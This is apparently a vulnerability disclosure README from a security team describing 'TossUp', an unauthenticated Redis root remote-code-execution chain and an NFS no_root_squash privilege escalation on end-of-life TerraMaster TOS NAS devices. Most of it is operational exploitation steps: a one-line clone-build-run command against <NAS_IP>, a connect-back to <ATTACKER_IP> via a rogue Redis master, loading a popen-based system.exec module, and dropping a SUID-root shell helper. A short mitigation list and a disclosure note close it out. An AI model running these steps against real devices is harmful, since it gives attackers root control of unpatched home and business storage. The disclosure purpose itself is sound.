7.3 KiB
TossUp: TerraMaster TOS Redis RCE
Abstract
TossUp is a pair of bugs against TerraMaster TOS3_A1.0 4.2.41 on RTD1296
devices: an unauthenticated Redis root RCE and a separate NFS
no_root_squash local privilege escalation.
TossUp was discovered with V12 by Aaron Esau of the V12 security team.
Want to find issues like this in your own code? Try V12 at v12.sh.
The LPE is not part of the Redis RCE chain because the RCE already executes as root.
We also have a separate authentication bypass, likely upgradable to RCE, which we will release in the near future.
The bug is simple: the NAS ships Redis 4.0.10 running as root, listening on
0.0.0.0:6379, with no authentication. The on-disk /etc/redis.conf contains
bind 127.0.0.1, but the init path starts Redis as redis-server *:6379
without using that config file.
The PoC uses standard Redis features to turn that exposure into root RCE:
CONFIG SETchanges Redis' working directory and database filename.SLAVEOFpoints the NAS at a rogue Redis master controlled by the attacker.- The rogue master sends an AArch64 Redis module as the replication payload.
- Redis writes the payload to disk as
/tmp/.<random>.so. MODULE LOADloads the module and registerssystem.exec.system.execruns shell commands throughpopen()as the Redis process, which is root on the tested device.
We reported this to TerraMaster who stated TOS4 is EOL. They have not indicated intent to fix the bug, so we are releasing our POC.
"TossUp"?
Because it's TOS and you upload a malicious module.
Exploitation
Build the Redis module:
cd terramaster/rce
make
Run one command as root:
python3 poc.py <NAS_IP> --cmd "id"
Or start the interactive command loop:
python3 poc.py <NAS_IP>
One-line version:
git clone https://github.com/v12-security/pocs.git && cd pocs/terramaster/rce && make && python3 poc.py <NAS_IP> --cmd "id"
If the NAS cannot route back to the automatically selected attacker IP, provide one explicitly:
python3 poc.py <NAS_IP> --lhost <ATTACKER_IP> --cmd "id"
The target must expose TCP/6379 to you, and it must be able to connect back to
the temporary rogue-master listener opened by poc.py.
Building
The rce/Makefile builds an AArch64 Redis module:
aarch64-linux-gnu-gcc -shared -fPIC -nostartfiles -o module.so module.c
Install an AArch64 cross-compiler if make fails with a missing compiler
error. A prebuilt module.so is included for the tested RTD1296 target, but
rebuilding is recommended if you change the module or do not want to run the
checked-in binary.
Cleanup
The PoC attempts to clean up after itself:
SLAVEOF NO ONE- restore the original Redis
dir - restore the original Redis
dbfilename - remove the dropped
/tmp/.<random>.so MODULE UNLOAD system
If the script is interrupted after module loading, unload it manually:
redis-cli -h <NAS_IP> MODULE UNLOAD system
The dropped module path is printed during exploitation. Remove that file from the NAS if cleanup did not run.
How It Works
-
Unauthenticated Redis check.
poc.pyconnects to<NAS_IP>:6379, sendsPING, and expects+PONG. It also queriesINFO serverto print useful Redis details such asredis_version,os,process_id, andtcp_port. -
Drop-path setup. The current Redis
diranddbfilenameare saved. The PoC then setsdirto/tmpanddbfilenameto a random hidden.soname. -
Rogue master startup. The PoC opens a local TCP listener on an ephemeral port. If
--lhostis not provided, it chooses the local source address that can reach the NAS. -
Replication trigger. The PoC sends
SLAVEOF <lhost> <lport>to the NAS. Redis connects back to the rogue master and starts the normal replication handshake. -
Module delivery. The rogue master implements just enough Redis replication protocol to answer
PING/setup commands and then returnFULLRESYNCwithmodule.soas the bulk payload. Redis writes that payload to/tmp/.<random>.so. -
State restoration. The PoC sends
SLAVEOF NO ONEand restores the saveddiranddbfilenamevalues so Redis is no longer pointed at the rogue master or/tmp. -
Module load. The PoC reconnects, verifies Redis still does not require auth, and sends
MODULE LOAD /tmp/.<random>.so. -
Root command execution.
module.cregisters a Redis command namedsystem.exec. Each call runs the supplied command withpopen(), captures up to 8191 bytes of stdout, and returns it as a Redis simple string. -
Interactive loop. Without
--cmd,poc.pyprovides a simpleroot@<host>#command prompt over repeatedsystem.execcalls. This is not a real TTY; it is a command loop.
Separate LPE: NFS no_root_squash
The lpe/ directory contains a separate TerraMaster TOS local privilege
escalation. It is not needed for TossUp because the Redis RCE already executes
as root, but it is useful as a standalone issue for systems where an attacker
has code execution as an unprivileged NAS user.
The LPE abuses an NFS export that allows remote root to create root-owned files
on the NAS. drop.sh mounts the export from the client, copies a static
AArch64 helper binary, sets owner 0:0, and sets mode 4755. If the export is
not root-squashed, the NAS keeps those attributes. Any local NAS user can then
execute the dropped helper to get a root shell or run one command as root.
Build and drop the helper:
cd terramaster/lpe
make
sudo ./drop.sh <NAS_IP>
If auto-detection chooses the wrong export, provide one explicitly:
sudo ./drop.sh <NAS_IP> <export_path>
On success the script prints the dropped path:
[+] SUID-root binary dropped at <export_path>/.suid
Then, on the NAS as any user:
<export_path>/.suid
<export_path>/.suid id
The helper in suid.c is intentionally minimal: it calls setuid(0) and
setgid(0), then either execs the supplied command or falls back to /bin/sh.
Affected Versions
Confirmed on:
TOS3_A1.0 4.2.41
Redis 4.0.10
RTD1296 / AArch64
Other TerraMaster builds may be affected if all of these conditions hold:
- Redis listens on
0.0.0.0:6379 - Redis has no authentication
- Redis accepts
CONFIG SET,SLAVEOF, andMODULE LOAD - Redis runs as root
- the loaded module matches the NAS CPU architecture
The NFS LPE is separate and depends on different conditions:
- the NAS exposes an NFS export reachable by the client
- the export allows writes from the client
- the export does not squash remote root
- the dropped helper matches the NAS CPU architecture
Mitigation
For owners who do not want this behavior:
- block TCP/6379 from untrusted networks
- make Redis bind only to localhost
- require Redis authentication
- disable or rename dangerous Redis commands such as
CONFIG,SLAVEOF, andMODULE - fix the init path so Redis actually uses the intended config file
- run Redis as an unprivileged service user
- root-squash NFS exports and avoid writable exports to untrusted clients
Because the tested product is EOL, network isolation is the practical first line of defense.
Credit
Found with V12 by Aaron Esau of the V12 security team: v12.sh -- dangerously powerful agentic security.